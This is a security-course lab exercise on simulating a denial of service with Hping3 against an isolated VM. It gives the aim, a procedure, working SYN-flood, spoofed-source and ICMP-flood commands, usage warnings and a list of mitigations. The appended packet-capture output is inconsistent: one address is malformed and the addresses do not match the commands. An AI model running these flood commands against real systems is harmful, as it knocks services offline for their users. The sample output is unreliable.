

Experiment 9: Denial-of-Service (DoS) Simulation using Hping3

Aim

To simulate a basic Denial-of-Service condition in a controlled lab environment using Hping3, and to observe its impact on a target machine's resource usage.

Requirements

A lab machine (Kali Linux recommended) with the required tool installed, and an authorized target machine on the same isolated lab network (e.g., Metasploit2 / DVWA).

Algorithm / Procedure

1. Set up an isolated lab network with an attacker VM and a disposable target VM (never a shared/production system).
2. Open a terminal on the attacker (Kali) machine.
3. Start monitoring the target's CPU/network usage (e.g., using 'top' or Task Manager on the target).
4. Use Hping3 to send a high rate of crafted packets (e.g., SYN flood) to the target's IP/port.
5. Observe the target's resource usage and responsiveness while the flood is running.
6. Stop the Hping3 flood (Ctrl+C) after observing the effect.
7. Record how the target's performance was impacted and recovered.
8. Discuss mitigations (rate limiting, SYN cookies, firewalls, IDS/IPS).

Sample Command / Code

```
# SYN flood simulation against a lab target on port 80
hping3 -S -p 80 --flood -c 10000 192.168.56.101
```

```
# Flood with random source IP addresses (for demonstrating spoofing concept)
hping3 -S -p 80 --flood --rand-source 192.168.56.101
```

```
# Simple ICMP flood for comparison
hping3 -I --flood 192.168.56.101
```

Note: Run this only against a disposable VM inside your own isolated lab network, for a short duration, and stop immediately after observing the effect. Never point this at any real server, website, or shared network – doing so is illegal and can cause real damage.

Result

The above procedure was successfully executed in the lab environment and the observed output was recorded/verified. (Attach screenshot of your terminal output here.)

Output :-

No	Time	Source	Destination	Protocol
1	0.00000	10.21.74.48	10.21.74.100	TCP
2	0.01166	10.21.74.108	10.21.74.48	TCP
3	0.0012	10.21.74.48	10.21.74.18	TCP
4	0.0012	10.71.42	10.21.7.18	TCP

Ex: NO: 9

Detail of service (DoS) using Hping3

2-9-26

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ALGORITHM :-

1. Set up an isolated lab environment.